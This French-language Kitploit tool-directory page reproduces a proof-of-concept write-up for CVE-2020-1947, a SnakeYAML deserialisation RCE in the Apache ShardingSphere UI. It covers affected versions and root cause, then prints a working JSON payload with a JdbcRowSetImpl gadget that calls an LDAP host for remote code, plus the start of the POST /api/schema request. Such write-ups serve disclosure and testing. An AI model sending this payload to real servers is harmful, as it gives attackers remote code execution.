Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-1947 — Preuve de concept et analyse pour CVE-2020-1947, une vulnérabilité d'exécution de code à distance par désérialisation YAML dans Apache ShardingSphere UI, y compris les étapes de reproduction et les conseils de correction. | Kitploit
Outils/GitHubGitHub/starkchristmas/cve-2020-1947
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebMauvaise ConfigurationOutil d'Accès à Distance
GitHubstarkchristmas/cve-2020-1947

CVE-2020-1947

Preuve de concept et analyse pour CVE-2020-1947, une vulnérabilité d'exécution de code à distance par désérialisation YAML dans Apache ShardingSphere UI, y compris les étapes de reproduction et les conseils de correction.

Voir le dépôt
1111il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-1947 Reproduction et analyse de l'exécution de code à distance via l'analyse YAML dans Apache ShardingSphere UI

Résumé

ShardingSphere est un écosystème open source d'Apache, un ensemble de solutions middleware pour bases de données distribuées. Il est composé de trois frameworks indépendants : sharding-jdbc, sharding-proxy et sharding-sidecar, utilisés pour le partitionnement des données, les transactions distribuées et la gouvernance des bases de données.

Versions affectées

ShardingSphere 4.0.0-RC3, 4.0.0 Composants : sharding-jdbc, sharding-proxy, sharding-ui, etc.

Environnement d'analyse

Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode

Analyse de la vulnérabilité

La console web de ShardingSphere utilise la bibliothèque SnakeYAML pour analyser les entrées YAML afin de charger la configuration de la source de données. SnakeYAML permet d'effectuer un unmarshal sans validation, ce qui permet une analyse et une désérialisation directes. La méthode unmarshal() transmet directement le contenu à la méthode load() de yaml.snakeyaml. Si unmarshal reçoit un contenu YAML malveillant, cela entraîne une exécution de code à distance (RCE).

Reproduction de la vulnérabilité

git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml

Poc

{"name":"CVE-2020-1947","ruleConfiguration":"  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/CommandObject\n  autoCommit: true"}

Requête

POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Télécharger l’outil